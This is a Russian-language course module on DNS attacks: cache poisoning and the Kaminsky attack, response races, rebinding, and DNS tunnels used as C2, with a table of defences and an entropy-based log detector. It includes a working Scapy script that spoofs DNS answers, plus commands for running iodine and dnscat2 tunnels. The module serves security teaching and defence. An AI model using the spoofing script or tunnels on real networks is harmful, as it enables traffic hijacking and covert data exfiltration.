Апокриф 05

Отравленный кеш: DNS, туннели и C2

Отравленный кеш: DNS, туннели и C2

DNS — единственная система в сети, которой доверяют все: браузер, почтовый клиент, обновления, системы управления. Если ответ на вопрос «какой адрес у этого имени» подменён, дальше всё работает штатно — соединение устанавливается, сертификат проверяется, трафик идёт. Именно поэтому DNS одновременно является целью атаки и удобным транспортом для того, чтобы вынести данные наружу.

В основной программе DNS разбирался как распределённая база данных с иерархией и кешем. Здесь рассматриваются три свойства, которые делают его уязвимым: ответ принимается по совпадению идентификатора и порта, кеш хранит ответ дольше, чем длится атака, а запросы почти никогда не фильтруются по содержимому.

Тема 15 основной программы дала формат сообщения и типы записей; тема 17 — TLS и сертификаты. Здесь DNS берётся со стороны доверия: что нужно, чтобы ответ приняли, как из запросов сделать канал и как этот канал выглядит для защитника. Границы: туннели как транспорт — тема 06.

Тень базового курса: кеш, который верит ответу

В теме 15 кеширование выглядело как оптимизация: резолвер запомнил ответ на время TTL и не ходит к авторитетному серверу повторно. Побочный эффект — окно атаки: один подложенный ответ живёт в кеше столько же, сколько настоящий.

Резолвер принимает ответ, если совпали идентификатор транзакции, адрес источника, порт назначения и имя в вопросе. В раннем DNS идентификатор был 16-битным, порт — фиксированным или предсказуемым, и вероятность угадать оба была достаточной для перебора 12.

Систематический разбор угроз DNS дан в RFC 3833 4. Современный резолвер рандомизирует и идентификатор, и исходный порт, и регистр символов в имени (0x20-кодирование). Это поднимает энтропию, но не устраняет проблему: если атакующий на пути, ему не нужно угадывать — он видит запрос.

Сообщение DNS и доверие к ответу

Формат, идентификатор, флаги

Сообщение состоит из заголовка и четырёх секций 8: question, answer, authority, additional. Заголовок содержит 16-битный ID, флаги (QR, Opcode, AA, TC, RD, RA, RCODE) и счётчики записей.

dig +qr example.com A
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39481
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

id: 39481 — то самое поле, которое должно совпасть. rd означает «требуется рекурсия», ra — «рекурсия доступна», qr — это ответ. Резолвер, получив ответ, проверяет ID, адрес и порт; больше ничего в протоколе не удостоверяет отправителя.

Рекурсия, bailiwick и TTL

Рекурсивный резолвер идёт от корня вниз: корневой сервер делегирует зону .com, тот — example.com, авторитетный сервер отвечает записью. Каждый ответ содержит TTL, и резолвер кеширует его на это время.

Правило bailiwick ограничивает, какие записи из additional-секции можно кешировать: только те, что относятся к делегированной зоне. Это защита от подкладывания чужих записей, но она не спасает от подмены самого ответа.

Отравление кеша

Атака Каминского и энтропия

Атака 2008 года эксплуатировала предсказуемость: резолвер отправляет запрос авторитетному серверу, атакующий засыпает его поддельными ответами на тот же вопрос с разными ID и портами, надеясь, что один совпадёт раньше настоящего 3. Успех означает, что в кеше окажется поддельный адрес, и все клиенты резолвера пойдут туда.

Гонка поддельных ответов DNS с легитимным ответом авторитативного сервера
Подделка должна совпасть по идентификатору и порту и обогнать настоящий ответ

Энтропия складывается из ID (16 бит), исходного порта (обычно 16 бит) и 0x20-регистра (до 16 бит на имя). Чем больше энтропия, тем больше попыток нужно. Практическая оценка: при 32 битах энтропии и миллионе запросов в секунду вероятность успеха за время TTL всё ещё ненулевая, поэтому рандомизация — снижение риска, а не устранение.

sysctl net.ipv4.ip_local_port_range
dig +short porttest.dns-oarc.net TXT

Вторая команда проверяет, насколько широко резолвер выбирает порты; результат ниже ожидаемого означает, что энтропия меньше, чем кажется.

Birthday-атака и гонка ответов

Birthday-атака использует парадокс дней рождения: если отправить много запросов на разные имена и много ответов, вероятность совпадения хотя бы одной пары растёт быстрее, чем кажется. На практике это означает, что атакующему не нужно угадывать конкретный ID — достаточно создать достаточно пар.

Гонка ответов — более прямая версия: атакующий на пути видит запрос и отвечает раньше авторитетного сервера. Ему не нужно угадывать ничего, кроме адреса и порта, которые видны в пакете.

from scapy.all import IP, UDP, DNS, DNSRR, sniff, send

def on_packet(pkt):
    if DNS in pkt and pkt[DNS].qr == 0:
        q = pkt[DNS].qd.qname
        resp = (IP(src=pkt[IP].dst, dst=pkt[IP].src) /
                UDP(sport=53, dport=pkt[UDP].sport) /
                DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
                    an=DNSRR(rrname=q, ttl=300, rdata="192.0.2.66")))
        send(resp, verbose=False)

sniff(filter="udp port 53", prn=on_packet)

Скрипт отвечает от имени сервера, к которому шёл запрос; резолвер примет ответ, если успеет раньше настоящего. Это и есть гонка.

Спуфинг на пути

Если атакующий находится между клиентом и резолвером или между резолвером и авторитетным сервером, он может подменять ответы без всякой гонки. Защита — DNSSEC: подпись ответа проверяется, и подделка обнаруживается 5. Но DNSSEC защищает только целостность, не конфиденциальность, и развёрнут далеко не везде.

DNS rebinding

TTL 0 и same-origin

Rebinding эксплуатирует то, что браузер считает имя доверенным, а резолвер может вернуть новый адрес. Схема: страница загружается с attacker.example, TTL ставится 0, затем имя переразрешается в 192.0.2.20 — внутренний адрес. Для браузера это тот же origin, и политика same-origin не мешает читать ответ.

dig +short rebind.attacker.example
dig +short rebind.attacker.example

Два запроса подряд могут вернуть разные адреса. Защита: запрет DNS-ответов, указывающих на частные адреса, из внешних зон; dns-rebind-protection в резолверах; проверка Host на внутренних сервисах.

Pinning на уровне сети

Сертификат привязывается к имени, а не к адресу, поэтому rebinding не ломает TLS. Ломается он о pinning: если клиент проверяет, что сертификат выпущен для ожидаемого имени и что адрес не менялся, подмена не проходит. На практике pinning в браузерах почти не используется, поэтому rebinding остаётся рабочим приёмом.

Скрытые каналы и C2

iodine, dnscat2 и типы записей

DNS-туннель кодирует данные в имени запроса и в ответе. iodine использует TXT, NULL и приватные типы, dnscat2 — TXT и CNAME. Пропускная способность зависит от размера имени и частоты запросов: типично 3–10 Кбит/с, чего достаточно для команд и небольших файлов.

iodine -f -P password t1.example.com

На серверной стороне — iodined с адресом туннеля. Трафик выглядит как обычные DNS-запросы, но имена длинные, энтропия высокая, а доля уникальных поддоменов близка к единице.

dnscat2-server example.com
dnscat2 example.com

Пропускная способность и её оценка

Каждый запрос несёт имя длиной до 253 байт, ответ — до размера, разрешённого EDNS(0). Реальная скорость ограничена задержкой: при RTT 50 мс и одном запросе в полёте это около 20 запросов в секунду, то есть единицы килобит. Параллельные запросы ускоряют канал, но делают профиль ещё заметнее.

DoH, DoT, fronting, fast flux, DGA

DoH (RFC 8484) и DoT (RFC 7858) шифруют запросы, что мешает фильтрации по имени, но не мешает фильтрации по IP-адресу сервера 67. Domain fronting использует расхождение между SNI и заголовком Host: запрос идёт к крупному CDN, а внутри — к нужному домену. Fast flux меняет адреса в ответе с коротким TTL, DGA генерирует имена алгоритмически, чтобы обойти чёрные списки.

curl -s -H 'content-type: application/dns-json' \
  'https://cloudflare-dns.com/dns-query?name=example.com&type=A'

Числа: энтропия, TTL и пропускная способность

Стоимость отравления удобно считать в «ожидаемых попаданиях». Пусть резолвер рандомизирует 16-битный идентификатор и 16-битный исходный порт; суммарная энтропия — 32 бита, то есть 4,29 млрд комбинаций. Атакующий, отправляющий 100 тысяч поддельных ответов в секунду в течение часа, делает 360 млн попыток — ожидаемое число совпадений около 0,084. При миллионе ответов в секунду ожидание за тот же час приближается к 0,84: успех становится вероятным, но не гарантированным.

100 000 пакетов/с * 3600 с = 3,6e8 попыток
3,6e8 / 2^32 = 3,6e8 / 4,29e9 = 0,084

1 000 000 пакетов/с * 3600 с = 3,6e9 попыток
3,6e9 / 4,29e9 = 0,84

Отсюда практический вывод: рандомизация не делает отравление невозможным, она делает его дорогим. Защита усиливается 0x20-кодированием (до 16 дополнительных бит на имя) и DNSSEC, который снимает вопрос угадывания вовсе.

TTL задаёт длительность последствий. Ответ с TTL 3600 секунд живёт в кеше час; всё это время клиенты резолвера получают поддельный адрес, даже если атака давно прекратилась. Поэтому защитники ограничивают максимальный TTL и следят за его аномалиями.

Пропускная способность DNS-туннеля считается по размеру полезной нагрузки в имени. При имени 200 байт, 20 запросах в секунду и одном запросе в полёте канал даёт около 32 Кбит/с теоретически; реальные потери на кодирование и повторные передачи снижают его до 3–10 Кбит/с. Этого хватает для команд и небольших файлов, но не для передачи данных в объёме.

Обнаружение и защита

ПриёмПризнакКонтрмера
Отравление кешаответ не от ожидаемого серверарандомизация, DNSSEC, 0x20
Гонка ответовдубли ответов, разные адресаDNSSEC, мониторинг
Rebindingответ на частный адрес из внешней зоныrebind-protection, split DNS
DNS-туннельдлинные имена, высокая энтропияRPZ, лимиты, анализ dns.log
DoH в обходсоединения к публичным DoHegress-allowlist, блокировка
Fast fluxкороткий TTL, много адресоврепутация, пассивный DNS
DGAслучайные имена, NXDOMAINдетектор по энтропии

Скрипт, считающий энтропию и длину имён из dns.log:

import math, sys, collections

def entropy(s):
    c = collections.Counter(s)
    n = len(s)
    return -sum(v/n * math.log2(v/n) for v in c.values())

for line in open(sys.argv[1]):
    if line.startswith("#"): continue
    q = line.split("\t")[9]
    if len(q) > 40 or entropy(q.split(".")[0]) > 3.5:
        print(q)

Порог подбирается по базовой линии: в зоне с длинными легитимными именами он выше, чем в зоне с короткими.

Итоги темы

DNS доверяет ответу, если совпали идентификатор, порт и вопрос. Энтропия этих полей — единственная преграда для подделки; DNSSEC заменяет её криптографической подписью, но требует развёртывания на всей цепочке.

Кеш превращает одну успешную подделку в длительную: TTL определяет, сколько клиентов получат неверный адрес. Rebinding использует ту же механику, чтобы обойти same-origin, а туннели — чтобы превратить запросы в канал управления.

Защита строится на трёх уровнях: криптографическая проверка (DNSSEC), сетевая фильтрация (RPZ, egress-allowlist) и анализ профиля (энтропия, длина, частота). Ни один из них не работает в одиночку.

Следующая тема расширяет канал до полноценного транспорта: туннели, пивоты и обход периметра.

Литература

  1. Mockapetris P. Domain Names — Concepts and Facilities. — RFC 1034, IETF, 1987. https://www.rfc-editor.org/rfc/rfc1034
  2. Mockapetris P. Domain Names — Implementation and Specification. — RFC 1035, IETF, 1987. https://www.rfc-editor.org/rfc/rfc1035
  3. Hubert A., van Mook A. Measures for Making DNS More Resilient against Forged Answers. — RFC 5452, IETF, 2009. https://www.rfc-editor.org/rfc/rfc5452
  4. Atkins D., Austein R. Threat Analysis of the Domain Name System (DNS). — RFC 3833, IETF, 2004. https://www.rfc-editor.org/rfc/rfc3833
  5. Arends R., Austein R., Larson M., Massey D., Rose S. DNS Security Introduction and Requirements. — RFC 4033, IETF, 2005. https://www.rfc-editor.org/rfc/rfc4033
  6. Hoffman P., McManus P. DNS Queries over HTTPS (DoH). — RFC 8484, IETF, 2018. https://www.rfc-editor.org/rfc/rfc8484
  7. Hu Z., Zhu L., Heidemann J., Mankin A., Wessels D., Hoffman P. Specification for DNS over Transport Layer Security (TLS). — RFC 7858, IETF, 2016. https://www.rfc-editor.org/rfc/rfc7858
  8. Liu C., Albitz P. DNS and BIND. 5th ed. — O'Reilly Media, 2006.